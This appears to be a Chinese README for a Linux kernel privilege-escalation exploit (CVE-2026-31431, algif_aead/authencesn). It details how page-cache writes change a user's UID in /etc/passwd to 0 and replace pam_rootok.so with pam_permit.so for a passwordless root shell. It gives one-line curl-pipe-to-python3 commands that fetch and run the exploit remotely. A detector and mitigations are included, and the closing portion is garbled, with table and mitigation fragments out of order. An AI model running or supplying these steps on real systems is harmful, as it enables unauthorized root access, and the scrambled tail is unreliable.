CVE-2026-31431 是 Linux 内核 algif_aead 子系统中的一个本地权限提升漏洞。authencesn AEAD 实现通过 splice(2) 执行就地解密,将页缓存页放入目标散列列表。在验证认证标签之前,AAD 中的一个 4 字节值(seqno_lo)会被写回该页缓存页——从而允许非特权用户覆盖任意世界可读文件的内核页缓存中的任意字节。
受影响版本起始于: 内核 4.14(2017 年 8 月)——当 authencesn 被引入 algif_aead 时
已发布修复的版本: 仅 6.12、6.17 和 6.18 稳定分支
永久未修复: 内核 4.14–6.11(已停止维护;不会发布向后移植补丁)
所需原语: AF_ALG 套接字、authencesn(hmac(sha256),cbc(aes)) 密码、向 AF_ALG 套接字文件描述符执行 splice(2)
影响: 本地权限提升至 root——完全自动化,无需密码
该漏洞利用程序依次应用两次页缓存补丁,然后自动执行 su:
/etc/passwd 补丁 — 打开该文件(世界可读),填充其页缓存,然后使用 authencesn splice 原语将当前用户的 4 位 UID 字段翻转为 0000。补丁后,getpwnam() 将该用户报告为 UID 0。
/etc/pam.d/su 补丁 — pam_rootok.so 和 pam_permit.so 恰好都是 13 个字符。两次 4 字节写入将 PAM 配置页缓存中的 pam_rootok.so 替换为 pam_permit.so。由于 pam_permit 始终返回 PAM_SUCCESS,现有的 auth sufficient 行会立即触发——不会出现密码提示。
自动获取 shell — 脚本执行 su <user>。PAM 无需密码即可完成认证(第 2 步),然后 setuid(0) 成功,因为 报告 UID 为 0(第 1 步)。无需用户交互即可返回 root shell。
整个过程不会发生任何磁盘写入。丢弃页缓存(echo 3 > /proc/sys/vm/drop_caches)或重启即可完全还原两个补丁。
仅限授权测试。只能在您拥有或明确获准评估的主机上运行。
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
自动返回 root shell——无需密码。
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG 套接字支持(大多数发行版默认启用)authencesn(hmac(sha256),cbc(aes))(大多数发行版默认支持)test_cve_2026_31431.py 是本仓库附带的一个安全、只读的检测器。它针对在临时目录中创建的临时哨兵文件执行 algif_aead splice 原语——绝不会触碰任何系统文件。它会输出判定结果并以明确定义的退出码退出:
| 退出码 | 含义 |
|---|---|
0 | 不受影响 — 前置条件未满足或页缓存未被修改 |
1 | 测试错误(例如 AF_ALG 不可用、不支持 splice) |
运行方式:
# 单行命令(无需安装)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Exit code: $?"
# 或从本地克隆运行
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Exit code: $?"
存在漏洞的内核上的示例输出:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
已打补丁的内核上的示例输出:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
/etc/modprobe.d 阻止 algif_aead:install algif_aead /bin/falseAF_ALG 套接字。net/tls + crypto/algif_aead — authencesn 就地目标散列列表隔离getpwnam()2 |
| 存在漏洞 — 标记字节已落入 splice 后的页缓存页中 |